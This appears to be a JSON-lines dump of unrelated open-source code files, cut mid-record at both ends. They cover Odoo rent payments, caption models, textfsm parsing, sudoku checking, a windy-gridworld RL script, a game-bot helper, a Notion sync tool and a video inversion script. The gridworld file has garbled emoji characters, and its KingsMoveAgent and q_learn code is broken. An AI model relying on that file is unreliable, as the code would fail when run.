Name.')\n\n\nclass AccountPaymentRegister(models.TransientModel):\n _inherit = 'account.payment.register'\n\n tenancy_id = fields.Many2one(\n comodel_name='account.analytic.account',\n string='Tenancy',\n help='Tenancy Name.')\n property_id = fields.Many2one(\n comodel_name='account.asset',\n string='Property',\n help='Property Name.')\n\n @api.model\n def default_get(self, fields_list):\n # OVERRIDE\n res = super().default_get(fields_list)\n context = dict(self._context) or {}\n active_id = self.env[context.get('active_model')].browse(\n context.get('active_id'))\n if active_id:\n res['property_id'] = active_id.property_id.id or False\n res['tenancy_id'] = active_id.new_tenancy_id.id or False\n return res\n\n def action_create_payments(self):\n res = super(AccountPaymentRegister, self).action_create_payments()\n context = dict(self._context) or {}\n if self._context.get('asset') or self._context.get('openinvoice'):\n schedule_obj = self.env['tenancy.rent.schedule']\n invoice_id = context.get('active_id')\n for schedule in schedule_obj.search([('invc_id', '=', invoice_id)]):\n amount = 0.0\n if schedule.invc_id.state == 'paid':\n schedule.paid = True\n schedule.move_check = True\n if schedule.invc_id:\n amount = schedule.invc_id.amount_residual\n schedule.write({'pen_amt': amount})\n return res\n\n def _create_payment_vals_from_wizard(self):\n res = super()._create_payment_vals_from_wizard()\n res.update({'asset_id': self.property_id.id,\n 'property_id': self.property_id.id, 'tenancy_id': self.tenancy_id.id})\n return res\n\n\nclass AccountPayment(models.Model):\n _inherit = 'account.payment'\n\n tenancy_id = fields.Many2one(\n comodel_name='account.analytic.account',\n string='Tenancy',\n help='Tenancy Name.')\n property_id = fields.Many2one(\n comodel_name='account.asset',\n string='Property',\n help='Property Name.')\n amount_due = fields.Monetary(\n comodel_name='res.partner',\n related='partner_id.credit',\n readonly=True,\n default=0.0,\n help='Display Due amount of Customer')\n\n def action_post(self):\n res = super(AccountPayment, self).action_post()\n invoice_obj = self.env['account.move']\n context = dict(self._context or {})\n for rec in self:\n if context.get('return'):\n invoice_browse = invoice_obj.browse(\n context.get('active_id')).new_tenancy_id\n invoice_browse.write({'amount_return': rec.amount})\n if context.get('deposite_received'):\n tenancy_active_id = self.env[\n 'account.analytic.account'].browse(context.get('active_id'))\n tenancy_active_id.write({'amount_return': rec.amount})\n return res\n\n @api.model\n def create(self, vals):\n res = super(AccountPayment, self).create(vals)\n if res and res.id and res.tenancy_id and res.tenancy_id.id:\n if res.payment_type == 'inbound':\n res.tenancy_id.write({'acc_pay_dep_rec_id': res.id})\n if res.payment_type == 'outbound':\n res.tenancy_id.write({'acc_pay_dep_ret_id': res.id})\n return res\n\n def _prepare_move_line_default_vals(self, write_off_line_vals):\n result = super()._prepare_move_line_default_vals(write_off_line_vals)\n context = dict(self._context) or {}\n for line in result:\n if not self.move_id.asset_id:\n self.move_id.asset_id = self.property_id.id or False\n if context.get('account_deposit_received') and line.get('debit') > 0 and self.tenancy_id.id:\n if self.payment_type in ('inbound', 'outbound'):\n line.update({\n 'analytic_account_id': self.tenancy_id.id,\n 'property_id': self.property_id.id\n })\n return result\n\n def _seek_for_lines(self):\n rec = super(AccountPayment, self)._seek_for_lines()\n if rec and rec[0] and self.tenancy_id and self.tenancy_id.id:\n if self.payment_type in ('inbound', 'outbound'):\n rec[0].update({'analytic_account_id': self.tenancy_id.id, 'property_id': self.property_id.id})\n return rec\n\n\nclass AccountInvoice(models.Model):\n _inherit = \"account.move\"\n\n property_id = fields.Many2one(\n comodel_name='account.asset',\n string='Property',\n help='Property Name.')\n new_tenancy_id = fields.Many2one(\n comodel_name='account.analytic.account',\n string='Tenancy ')\n","repo_name":"hassanshah9586/Mishhin","sub_path":"Mishhin-production/property_management_ee/models/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":6062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"36413776343","text":"from models.updown import UpDown\nfrom models.xlan import XLAN\nfrom models.xtransformer import XTransformer\nfrom models.transformer import Transformer\nfrom models.btoformer import Btoformer, Objformer\n\n__factory = {\n 'UpDown': UpDown,\n 'XLAN': XLAN,\n 'XTransformer': XTransformer,\n 'Transformer': Transformer,\n 'Btoformer': Btoformer,\n 'Objformer': Objformer\n}\n\ndef names():\n return sorted(__factory.keys())\n\ndef create(name, *args, **kwargs):\n if name not in __factory:\n raise KeyError(\"Unknown caption model:\", name)\n return __factory[name](*args, **kwargs)","repo_name":"YehLi/BTO-Net","sub_path":"models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"} +{"seq_id":"37371233254","text":"#!/usr/bin/python3\n\n# Example of receiving and processing data using textfsm\n\nimport yaml\nimport textfsm\nimport myworkfuncs\nfrom tabulate import tabulate\n\nif __name__ == '__main__':\n\n devices = yaml.safe_load(open('mydevices.yaml'))\n all_done = myworkfuncs.threads_conn('connect_ssh', devices['routers'], command='sh ver')\n\n with open(\"cisco_ios_sh_ver_custom.textfsm\") as f:\n re_table = textfsm.TextFSM(f)\n header = re_table.header\n\n for item in all_done:\n for crouter in item:\n print(item[crouter])\n result = re_table.ParseText(item[crouter])\n print(tabulate(result, headers=header))\n print()\n","repo_name":"DmitriyPanteleev/my-network-automation","sub_path":"some_netinfo_parsers/parse_w_textfsm.py","file_name":"parse_w_textfsm.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"42141133281","text":"from copy import deepcopy\nimport sudoku\n\n\n# single solution\ninput1 = [\n [0, 0, 6, 1, 0, 0, 0, 0, 8], \n [0, 8, 0, 0, 9, 0, 0, 3, 0], \n [2, 0, 0, 0, 0, 5, 4, 0, 0], \n [4, 0, 0, 0, 0, 1, 8, 0, 0], \n [0, 3, 0, 0, 7, 0, 0, 4, 0], \n [0, 0, 7, 9, 0, 0, 0, 0, 3], \n [0, 0, 8, 4, 0, 0, 0, 0, 6], \n [0, 2, 0, 0, 5, 0, 0, 8, 0], \n [1, 0, 0, 0, 0, 2, 5, 0, 0],\n]\n\n# multiple solutions\ninput2 = [\n [9, 0, 3, 0, 0, 0, 0, 5, 0],\n [0, 0, 8, 0, 0, 0, 3, 0, 1],\n [0, 0, 0, 1, 0, 0, 0, 0, 0],\n [2, 0, 7, 0, 0, 0, 1, 4, 8],\n [0, 6, 1, 0, 4, 0, 9, 0, 0],\n [0, 9, 4, 2, 7, 0, 0, 6, 0],\n [4, 2, 5, 3, 0, 6, 8, 7, 0],\n [0, 0, 6, 9, 5, 0, 4, 3, 0],\n [0, 0, 9, 0, 0, 0, 0, 1, 5],\n]\n\n\n\ndef is_single_solution(iterations:int=50, board:list[list[int]]=None, difficulty:str='easy'):\n\n solutions = set()\n if board is None:\n sb = sudoku.SudokuBoard(difficulty=difficulty)\n else: \n sb = board\n for i in range(iterations):\n sb_copy = deepcopy(sb)\n print(f'solving #{i}....')\n sb_copy.solve_board()\n solutions.add(''.join([ str(num) for row in sb_copy.board for num in row]))\n\n for solution_str in solutions:\n solution = [list(solution_str[i*9 : i*9 + 9]) for i in range(0, 9)]\n for row in solution:\n print([int(num) for num in row])\n print()\n print()\n\n print('Original puzzle:')\n for row in sb.board:\n print(row)\n\n print()\n print('Unique solutions:', len(list(solutions)))\n print()\n\nis_single_solution()\n\n# sb = sudoku.SudokuBoard(board=input2)\n# sb.solve_board()\n# for row in sb.board:\n# print(row)","repo_name":"FirstFlush/sudoku","sub_path":"validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"1790961190","text":"#!/usr/bin/env python\n#\n# windyworld.py\n#\n\nimport os\nimport shutil\nimport random\nimport numpy as np\nimport pandas as pd\nimport matplotlib\nmatplotlib.rcParams['backend'] = 'TkAgg'\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport copy\nfrom datetime import datetime as dt\n\n\nclass Env:\n\n def __init__(self, action_size=4, stochastic_wind=False):\n\n self.action_size = action_size # 4 for four move; 8 for king's move\n self.stochastic_wind = stochastic_wind\n random.seed(0)\n self.dim = (10, 7)\n self.start = [0, 3]\n self.goal = [7, 3]\n self.wind = [0,0,0,1,1,1,2,2,1,0]\n self.FOURMOVE = {\n 0: (0, 1), # NORTH\n 1: (1, 0), # EAST\n 2: (0, -1), # SOUTH\n 3: (-1, 0)} # WEST\n self.KINGSMOVE = {\n 0: (0, 1), # NORTH\n 1: (1, 1), # NORTHEAST\n 2: (1, 0), # EAST\n 3: (1, -1), # SOUTHEAST\n 4: (0, -1), # SOUTH\n 5: (-1, -1), # SOUTHWEST\n 6: (-1, 0), # WEST\n 7: (-1, 1), # NORTHWEST\n 8: (0, 0)} # STAY\n\n def reset(self):\n\n self.state = self.start.copy()\n self.map = np.full(self.dim, 9)\n\n \"\"\"\nmove 0:north, 1:east, 2:south, 3:west \n \"\"\"\n def act(self, move):\n\n ### set action ID to map ###\n state0 = self.state.copy()\n self.map[state0[0], state0[1]] = move\n\n if self.action_size == 4:\n x, y = self.FOURMOVE[move]\n elif self.action_size in [8, 9]: # King's move w/o a nith move\n x, y = self.KINGSMOVE[move]\n\n self.state[0] += x\n self.state[1] += y + self.wind[state0[0]] # plus wind\n\n ### STOCHASTIC WIND IF THERE IS WIND ###\n # above in 1/3, below in 1/3, and no effect in 1/3\n if self.stochastic_wind and self.wind[state0[0]] >= 1:\n self.state[1] += random.randint(0, 2) - 1\n\n r = -1\n is_goal = False\n if self.state == self.goal:\n is_goal = True\n r = 0\n if self.state[0] < 0:\n self.state[0] = 0\n elif self.state[0] >= self.dim[0]:\n self.state[0] = self.dim[0] - 1\n if self.state[1] < 0:\n self.state[1] = 0\n elif self.state[1] >= self.dim[1]:\n self.state[1] = self.dim[1] - 1\n return r, is_goal\n\n def show_map(self):\n\n print (np.flipud(np.transpose(env.map)))\n\n\nclass AbstractAgent:\n\n def __init__(self, dim, epsilon, initializer='random'):\n\n self.epsilon = epsilon\n self.initialize(dim, initializer)\n\n def initialize(self):\n\n if self.initializer == 'zero':\n self.q = np.zeros((self.dim[0], self.dim[1], self.action_size))\n elif self.initializer == 'random':\n self.q = np.random.rand(self.dim[0], self.dim[1], self.action_size)\n\n def e_greedy(self, state):\n\n if random.random() < self.epsilon: # RANDOM\n return random.randint(0, self.action_size - 1)\n else:\n return np.argmax(self.q[state[0], state[1], :])\n\n def max_q(self, state):\n\n return max(self.q[state[0], state[1], :])\n\n def __getitem__(self, s, a):\n\n return self.q[s[0], s[1], a]\n\n def get_q(self, s, a):\n\n return self.q[s[0], s[1], a]\n\n '''\n def get_prob(self, s):\n\n print (self.q[s[0], s[1], :])\n return None\n '''\n\n def show_value(self, png_file):\n\n m = np.max(self.q, axis=2)\n sns.heatmap(m.transpose())\n plt.savefig(png_file)\n plt.close('all')\n\n def show_arrow(self):\n\n m = np.argmax(self.q, axis=2)\n arrow = list(map(lambda x: ' '.join([self.ARROW[x] for x in x]), m.transpose()))\n for a in reversed(arrow):\n print (a)\n\n def get_action_str(self, a_list):\n\n if self.action_size == 4:\n delimiter = ''\n elif self.action_size in [8,9]:\n delimiter = ' '\n return delimiter.join([self.DIRECTION[a] for a in a_list])\n\n def find_policy(self):\n\n m = ([[np.argmax(self.q[i,j,:]) for i in range(self.dim[0])] for j in range(self.dim[1])])\n print (np.flipud(np.array(m)))\n\n\ndef softmax(x):\n\n return np.exp(x) / np.sum(np.exp(x))\n\n\nclass FourMoveAgent(AbstractAgent):\n\n def __init__(self, dim, epsilon, initializer='random'):\n\n self.dim = dim\n self.action_size = 4\n self.epsilon = epsilon\n self.initializer = initializer\n self.AGENTTYPE = 4\n self.DIRECTION = {0: 'U', 1:'R', 2:'D', 3:'L'}\n self.ARROW = {0: '^', 1:'>', 2:'v', 3:'<'}\n self.initialize()\n \n\nclass KingsMoveAgent(AbstractAgent):\n\n def __init__(self, epsilon, action_size=8, initiazlier='random'):\n\n self.action_size = action_size\n self.epsilon = epsilon\n #self.DIRECTION = {0: 'U', 1:'r', 2:'R', 3:'e', 4: 'D', 5:'w', 6:'L', 7:'l'}\n self.DIRECTION = {0: '⬆ï¸�', 1:'↗ï¸�', 2:'âž¡ï¸�', 3:'↘ï¸�', 4: '⬇ï¸�', 5:'↙ï¸�', 6:'⬅ï¸�', 7:'↙ï¸�', 8:'🔄'}\n self.ARROW = {0: '⬆ï¸�', 1:'↗ï¸�', 2:'âž¡ï¸�', 3:'↘ï¸�', 4: '⬇ï¸�', 5:'↙ï¸�', 6:'⬅ï¸�', 7:'↙ï¸�', 8:'🔄'}\n self.initialize(dim, initializer)\n self.q = np.zeros((10, 7, self.action_size))\n \n \nclass ActorCriticAgent:\n\n def __init__(self, dim, epsylon):\n\n self.epsylon = epsylon\n self.value = np.zeros(dim)\n self.policy = np.zeros((dim[0], dim[1], 4))\n\n def e_greedy(self, state):\n\n if random.random() < self.epsylon: # RANDOM\n return random.randint(0, 3)\n else:\n return np.argmax(self.policy[state[0], state[1], :])\n\n\ndef sarsa(env, agent, alpha, gamma):\n\n ### SARSA ###\n env.reset()\n a = agent.e_greedy(env.state)\n a_list = []\n r = -1\n R = 0\n i = 0\n is_goal = False\n while not is_goal: # AN EPISODE\n a_list.append(a)\n i += 1\n s0 = env.state.copy()\n r, is_goal = env.act(a)\n R += r\n a1 = agent.e_greedy(env.state)\n value = agent.get_q(s0, a)\n agent.q[s0[0], s0[1], a] = agent.get_q(s0, a) \\\n + alpha * (r + gamma * agent.get_q(env.state, a1) - agent.get_q(s0, a))\n a = copy.copy(a1)\n a_list.append(a)\n return i, R, a_list\n\n\ndef q_learn(env, agent, alpha, gamma):\n\n ### Q-LEARNING ###\n env.reset()\n R = 0\n i = 0\n r = -1\n is_goal = False\n while not is_goal:\n i += 1\n s0 = env.state.copy()\n a = ql_agent.e_greedy(env.state) \n r, is_goal = env.act(a)\n R += r\n value = agent.q[s0[0], s0[1], a]\n agent.q[s0[0], s0[1], a] = agent.get_q(s0, a) + alpha * (r + gamma * agent.max_q(env.state) - agent.get_q(s0, a))\n return i, R\n \n\ndef actor_critic(env, agent, alpha, gamma):\n\n ### Q-LEARNING ###\n env.reset()\n R = 0\n i = 0\n r = -1\n is_goal = False\n while not is_goal:\n i += 1\n s0 = env.state.copy()\n a = agent.e_greedy(env.state) \n r, is_goal = env.act(a)\n R += r\n value = agent.value[s0[0], s0[1]]\n policy = agent.policy[s0[0], s0[1], a]\n delta = r + gamma * agent.value[env.state[0], env.state[1]] - value\n agent.value[s0[0], s0[1]] += delta\n agent.policy[s0[0], s0[1], a] += delta\n if is_goal:\n break\n return i, R\n\n\ndef show_step_graph(step_list, std_list, png_file):\n\n plt.plot(s_step_list, label='#steps')\n plt.plot(std_list, label='SD')\n plt.yscale('log')\n plt.savefig(png_file)\n plt.close('all')\n return\n\n\n###\nif __name__ == '__main__':\n\n epsilon = 0.1\n alpha = 0.5\n #alpha = 0.1\n #alpha = 0.01\n gamma = 1.0\n dim = (10, 7)\n num = 1000\n slide = 20\n stochastic_wind = True\n\n now = dt.now()\n\n #agent = FourMoveAgent(epsilon)\n #ql_agent = FourMoveAgent(epsilon)\n\n #agent = KingsMoveAgent(epsilon)\n #ql_agent = KingsMoveAgent(epsilon)\n agent = KingsMoveAgent(epsilon, 8)\n ql_agent = KingsMoveAgent(epsilon, 8)\n #agent = KingsMoveAgent(epsilon, 9)\n #ql_agent = KingsMoveAgent(epsilon, 9)\n ac_agent = ActorCriticAgent(dim, epsilon)\n\n if stochastic_wind:\n sw_tag = '-sw'\n else:\n sw_tag = ''\n png_dir = '%s-%s%s' % (now.strftime('png-%y%m%d-%H%M%S'), agent.action_size, sw_tag)\n env = Env(agent.action_size, stochastic_wind)\n w = []\n s_step_list, step_std_list = [], []\n\n if os.path.isdir(png_dir):\n shutil.rmtree(png_dir)\n os.mkdir(png_dir)\n step_graph_file = '%s/step_list.png' % png_dir\n\n for n in range(num):\n s_step, s_r, s_a = sarsa(env, agent, alpha, gamma)\n #ql_step, ql_r = q_learn(env, ql_agent, alpha, gamma)\n #ac_step, ac_r = actor_critic(env, ac_agent, alpha, gamma)\n #w.append([n + 1, s_step, s_r, ql_step, ql_r, ac_step, ac_r])\n w.append([n + 1, s_step, s_r])\n s_step_list.append(s_step)\n step_slide = np.array(s_step_list[-slide:])\n step_std_list.append(step_slide.mean())\n s_a_str = agent.get_action_str(s_a)\n print ('%3d %3d %2.2f %2.2f' % (n+1, s_step, step_slide.mean(), step_slide.std()), s_a_str)\n if (n+1) % 10 == 0:\n png_file = '%s/value-%03d.png' % (png_dir, n+1)\n agent.show_value(png_file)\n agent.show_arrow()\n show_step_graph(s_step_list, step_std_list, step_graph_file)\n","repo_name":"kawagashira/sutton","sub_path":"windyworld/windyworld.py","file_name":"windyworld.py","file_ext":"py","file_size_in_byte":9626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"10056494531","text":"\"\"\"\nVector2 that handles point screen coordinates\nTransformations related to the game position & game size happen here\n\"\"\"\n\n\nclass Vec2:\n \"Vector 2 class that has methods to scale screen coordinates\"\n\n screen_x_offset: int = 0\n screen_y_offset: int = 0\n screen_x_scale: int = 1\n screen_y_scale: int = 1\n\n def __init__(self, x_pos, y_pos, use_screen_offset: bool = True) -> None:\n self.x_pos = x_pos\n self.y_pos = y_pos\n self.use_screen_offset: bool = use_screen_offset\n\n def get_coords(self) -> tuple:\n \"\"\"Returns screen coordinates with transformations\"\"\"\n x_pos = self.x_pos * Vec2.screen_x_scale\n y_pos = self.y_pos * Vec2.screen_y_scale\n\n if self.use_screen_offset:\n return (round(x_pos + Vec2.screen_x_offset),\n round(y_pos + Vec2.screen_y_offset))\n\n return (round(x_pos), round(y_pos))\n\n @classmethod\n def setup_screen(cls, x_pos: int, y_pos: int, width: int, height: int) -> None:\n \"\"\"Setup for screen coordinate offset and scale\"\"\"\n Vec2.screen_x_offset = x_pos\n Vec2.screen_y_offset = y_pos\n Vec2.screen_x_scale = width / 1920\n Vec2.screen_y_scale = height / 1080\n","repo_name":"jfd02/TFT-OCR-BOT","sub_path":"vec2.py","file_name":"vec2.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":276,"dataset":"github-code","pt":"79"} +{"seq_id":"23865079507","text":"import logging\nimport os\nfrom random import choice\nfrom argparse import ArgumentParser\nfrom urllib.parse import urlparse\n\nfrom notion.client import NotionClient\nfrom notion.block import Block, PageBlock, CollectionViewBlock\nfrom emoji import EMOJI_UNICODE\nimport frontmatter\n\nfrom .markdown import convert\n\ntry:\n from dotenv import load_dotenv\n load_dotenv()\nexcept:\n pass\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef random_emoji():\n # Don't allow people, hands, or fingers.\n forbidden_emoji_patterns = ['child', 'skin_tone', 'person', 'hand', 'finger']\n\n emoji_key = None\n while not emoji_key:\n emoji_key = choice(list(EMOJI_UNICODE.keys()))\n\n for pattern in forbidden_emoji_patterns:\n if pattern in emoji_key:\n emoji_key = None\n break\n\n return EMOJI_UNICODE[emoji_key]\n\n\ndef infer_block(root_block, path) -> Block:\n name, ext = os.path.splitext(path)\n\n if name == 'index':\n return root_block\n\n if ext != '.md' and ext != '':\n return None\n\n title = name.replace('-', ' ').replace('_', ' ').capitalize()\n\n for block in root_block.children:\n if block.type != 'page':\n continue\n\n if block.title != title:\n continue\n\n return block\n\n # Create a new page block\n\n return root_block.children.add_new(PageBlock, title=title)\n\n\ndef move_pages_to_end(block):\n # Move pages to the end of the document if they aren't already\n pages_to_move = []\n pages_seen = []\n\n for c in block.children:\n if c.type == 'page':\n pages_seen.append(c)\n else:\n pages_to_move.extend(pages_seen)\n pages_seen.clear()\n\n for page in pages_to_move:\n logger.info(f\"Moving page {page.id} to end of {block.id}\")\n page.move_to(block, 'last-child')\n\n\ndef block_matches_markdown_block(block, markdown_block_type, **markdown_block):\n if markdown_block_type != type(block):\n return False\n\n for key, value in markdown_block.items():\n if key in ['type', 'schema', 'rows']:\n continue\n\n block_attr = getattr(block, key)\n\n if block_attr != value:\n return False\n\n return True\n\n\ndef sync_collection_schema(collection, expected_schema):\n existing_schema = collection.get('schema')\n\n # The schemas must match!\n if existing_schema == expected_schema:\n return\n\n logger.info(f\"Updating schema of {collection.id}\")\n\n # If they don't, try to make them match.\n collection.set('schema', expected_schema)\n\n\ndef sync_collection_rows(block, collection_schema, collection_rows):\n if block.collection is None:\n logger.info(f\"Creating a new collection for {block.id}\")\n # We should have generated a schema and rows for this one\n client = block._client # Hacky internals stuff...\n block.collection = client.get_collection(\n # Low-level use of the API\n # TODO: Update when notion-py provides a better interface for this\n client.create_record(\"collection\", parent=block, schema={\"title\": {\"text\": \"_\", \"type\": \"text\"}})\n )\n\n block.views.add_new(view_type=\"table\")\n\n collection_schema_ids = ['title']\n\n for i in range(len(collection_schema) - 1):\n collection_schema_ids.append('x' + format(i, '0>4x'))\n\n sync_collection_schema(block.collection, dict(zip(collection_schema_ids, collection_schema)))\n\n existing_rows = block.collection.get_rows()\n\n for extra_row in existing_rows[len(collection_rows):]:\n extra_row.remove()\n\n existing_rows_iter = iter(existing_rows)\n\n for row in collection_rows:\n try:\n row_block = next(existing_rows_iter)\n except StopIteration:\n row_block = block.collection.add_row()\n\n if len(row) > len(collection_schema_ids):\n row = row[:len(collection_schema_ids)]\n\n row = zip(collection_schema_ids, row)\n\n for schema_id, prop_value in row:\n if row_block.get_property(schema_id) != prop_value:\n row_block.set_property(schema_id, prop_value)\n\n\ndef sync_markdown_blocks_to_block(markdown_blocks, block):\n touched_blocks = set()\n children_iter = iter(block.children)\n\n for markdown_block in markdown_blocks:\n markdown_block_class = markdown_block[\"type\"]\n del markdown_block[\"type\"]\n\n markdown_contents = markdown_block.pop(\"title\", None)\n collection_schema = markdown_block.pop(\"schema\", None)\n collection_rows = markdown_block.pop(\"rows\", None)\n block_children = markdown_block.pop(\"children\", None)\n\n try:\n child_block = next(children_iter)\n while not block_matches_markdown_block(child_block, markdown_block_class, **markdown_block):\n child_block = next(children_iter)\n logger.info(f\"Using existing markdown block {child_block.id} in {block.id}\")\n except StopIteration:\n # If we've hit the end of the children create a new child.\n child_block = block.children.add_new(markdown_block_class, **markdown_block)\n logger.info(f\"Creating new markdown block {child_block.id} in {block.id}\")\n\n if markdown_contents is not None:\n # Manually set the title property to bypass the `markdown_to_notion` in `notion-py`\n # This is because it chokes up on URLs and really we just don't need this 'cause\n # we're parsing the markdown ourselves.\n if child_block.get([\"properties\", \"title\"]) != markdown_contents:\n child_block.set([\"properties\", \"title\"], markdown_contents)\n\n touched_blocks.add(child_block.id)\n\n if isinstance(child_block, CollectionViewBlock):\n sync_collection_rows(child_block, collection_schema, collection_rows)\n\n if block_children:\n sync_markdown_blocks_to_block(block_children, child_block)\n elif len(child_block.get(child_block.child_list_key, [])) > 0:\n # If no children should exist but there are children attached to this block\n # (a list, etc) we should remove them as they're no longer needed!\n for c in child_block.children:\n c.remove()\n\n\n for c in block.children:\n if c.type != 'page' and c.id not in touched_blocks:\n logger.info(f\"Removing child block {c.id} from {block.id}\")\n c.remove()\n\n\ndef sync_file_to_block(filename, block, links : dict={}):\n logger.info(f\"Syncing {filename} to block {block.id}\")\n\n with open(filename) as markdown_fd:\n contents = markdown_fd.read()\n\n post = frontmatter.loads(contents)\n\n def resolve_link(target):\n try:\n parsed = urlparse(target)\n\n if parsed.scheme:\n return target\n except:\n pass\n\n target_path = os.path.realpath(os.path.join(os.path.dirname(filename), target))\n\n block = links.get(target_path)\n\n if not block:\n return target\n\n return block.get_browseable_url()\n\n markdown_blocks = convert(str(post), link_resolver=resolve_link)\n\n sync_markdown_blocks_to_block(markdown_blocks, block)\n\n\ndef create_page_structure(directory, root_block):\n touched_pages = set()\n\n files_to_pages = dict()\n\n index_path = os.path.realpath(os.path.join(directory, \"index.md\"))\n readme_path = os.path.realpath(os.path.join(directory, \"README.md\"))\n readme_lower_path = os.path.realpath(os.path.join(directory, \"README.md\"))\n\n # Do the index/readme first to ensure the correct sort order.\n if os.path.isfile(index_path):\n files_to_pages[index_path] = root_block\n elif os.path.isfile(readme_path):\n files_to_pages[readme_path] = root_block\n elif os.path.isfile(readme_lower_path):\n files_to_pages[readme_lower_path] = root_block\n\n for path in os.listdir(directory):\n if path.startswith('.'):\n # Skip any \"private\" files / directories\n continue\n\n if path.lower() == 'index.md' or path.lower() == 'readme.md':\n # Skip because we had a special case for this above.\n continue\n\n block = infer_block(root_block, path)\n\n if not block:\n continue\n\n full_path = os.path.realpath(os.path.join(directory, path))\n\n touched_pages.add(block.id)\n\n if os.path.isdir(full_path):\n files_to_pages.update(create_page_structure(full_path, block))\n elif os.path.splitext(full_path)[1].lower() == '.md':\n files_to_pages[full_path] = block\n\n return files_to_pages\n\n\ndef sync_directory_to_block(directory, root_block):\n # Do Two Passes: First, create blocks for all files that need them\n # Keep track of absolute file path -> block\n logger.info(\"Creating page structure..\")\n files_to_pages = create_page_structure(os.path.realpath(directory), root_block)\n\n touched_pages = set(block.id for block in files_to_pages.values())\n\n # Then, for iterate through every single page block created and:\n for full_path, block in files_to_pages.items():\n # Lock it\n if not block.get(['format', 'block_locked'], default=False):\n block.set(['format', 'block_locked'], True)\n\n if block.icon is None:\n block.icon = random_emoji()\n\n # Sync it.\n sync_file_to_block(full_path, block, links=files_to_pages)\n\n # Sort it.\n move_pages_to_end(block)\n\n # Clean it.\n for child in block.children:\n # Any children that are pages under block but aren't in touched_pages should be pruned\n if child.type == 'page' and child.id not in touched_pages:\n child.remove()\n\n # Technologic.\n\ndef main():\n import sys\n logger.addHandler(logging.StreamHandler(sys.stdout))\n logger.setLevel(logging.INFO)\n\n parser = ArgumentParser()\n\n parser.add_argument('--notion-token', type=str, default=os.environ.get('NOTION_TOKEN'))\n parser.add_argument('docs_path', type=str)\n parser.add_argument('notion_url', type=str)\n\n args = parser.parse_args()\n\n token = args.notion_token\n root_url = args.notion_url\n docs_path = args.docs_path\n\n # add row to notion collection and add a text block with link to the new card\n client = NotionClient(token_v2=token)\n root_block = client.get_block(root_url)\n\n sync_directory_to_block(docs_path, root_block)\n","repo_name":"imnotjames/notion-docs-sync","sub_path":"notion_docs_sync/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":10424,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"79"} +{"seq_id":"15201200233","text":"import sys\nfrom pathlib import Path\nfrom typing import Dict, Any, List\n\nimport numpy as np\nimport pyrallis\nimport torch\nfrom tqdm import tqdm\n\nsys.path.append(\".\")\nsys.path.append(\"..\")\n\nfrom inversion.options.train_options import TrainOptions\nfrom inversion.video.generate_videos import generate_reconstruction_videos\nfrom prepare_data.landmarks_handler import LandmarksHandler\nfrom inversion.video.post_processing import postprocess_and_smooth_inversions\nfrom inversion.video.video_config import VideoConfig\nfrom inversion.video.video_editor import InterFaceGANVideoEditor, StyleCLIPVideoEditor\nfrom inversion.video.video_handler import VideoHandler\nfrom utils.common import tensor2im\nfrom utils.inference_utils import get_average_image, run_on_batch, load_encoder, IMAGE_TRANSFORMS\n\n\n@pyrallis.wrap()\ndef run_inference_on_video(video_opts: VideoConfig):\n # prepare all the output paths\n video_opts.output_path.mkdir(exist_ok=True, parents=True)\n\n # parse video\n video_handler = VideoHandler(video_path=video_opts.video_path,\n output_path=video_opts.output_path,\n raw_frames_path=video_opts.raw_frames_path,\n aligned_frames_path=video_opts.aligned_frames_path,\n cropped_frames_path=video_opts.cropped_frames_path)\n video_handler.parse_video()\n\n aligned_paths, cropped_paths = video_handler.get_input_paths()\n input_images = video_handler.load_images(aligned_paths)\n cropped_images = video_handler.load_images(cropped_paths)\n if video_opts.max_images is not None:\n aligned_paths = aligned_paths[:video_opts.max_images]\n input_images = input_images[:video_opts.max_images]\n cropped_images = cropped_images[:video_opts.max_images]\n\n # load pretrained encoder\n net, opts = load_encoder(video_opts.checkpoint_path, test_opts=video_opts, generator_path=video_opts.generator_path)\n\n # loads/computes landmarks transforms for the video frames\n landmarks_handler = LandmarksHandler(output_path=video_opts.output_path,\n landmarks_transforms_path=video_opts.landmarks_transforms_path)\n video_opts.landmarks_transforms_path = landmarks_handler.landmarks_transforms_path\n landmarks_transforms = landmarks_handler.get_landmarks_transforms(input_paths=aligned_paths,\n cropped_frames_path=video_handler.cropped_frames_path,\n aligned_frames_path=video_handler.aligned_frames_path)\n\n # run inference\n results = run_inference(input_paths=aligned_paths,\n input_images=input_images,\n landmarks_transforms=landmarks_transforms,\n net=net,\n opts=opts)\n\n # save inverted latents (can be used for editing, pti, etc)\n results_latents_path = opts.output_path / \"latents.npy\"\n np.save(results_latents_path, np.array(results[\"result_latents\"]))\n\n result_images = [np.array(tensor2im(im)) for im in results[\"result_images\"]]\n result_latents = np.array(list(results[\"result_latents\"].values()))\n landmarks_transforms = np.array(list(results[\"landmarks_transforms\"]))\n\n result_images_smoothed = postprocess_and_smooth_inversions(results, net, video_opts)\n\n # get video reconstruction\n generate_reconstruction_videos(input_images=cropped_images,\n result_images=result_images,\n result_images_smoothed=result_images_smoothed,\n video_handler=video_handler,\n opts=video_opts)\n\n if opts.interfacegan_directions is not None:\n editor = InterFaceGANVideoEditor(generator=net.decoder, opts=video_opts)\n for interfacegan_edit in video_opts.interfacegan_edits:\n edit_images_start, edit_images_end, edit_latents_start, edit_latents_end = editor.edit(\n edit_direction=interfacegan_edit.direction,\n start=interfacegan_edit.start,\n end=interfacegan_edit.end,\n result_latents=result_latents,\n landmarks_transforms=landmarks_transforms\n )\n edited_images_start_smoothed = editor.postprocess_and_smooth_edits(results, edit_latents_start, video_opts)\n edited_images_end_smoothed = 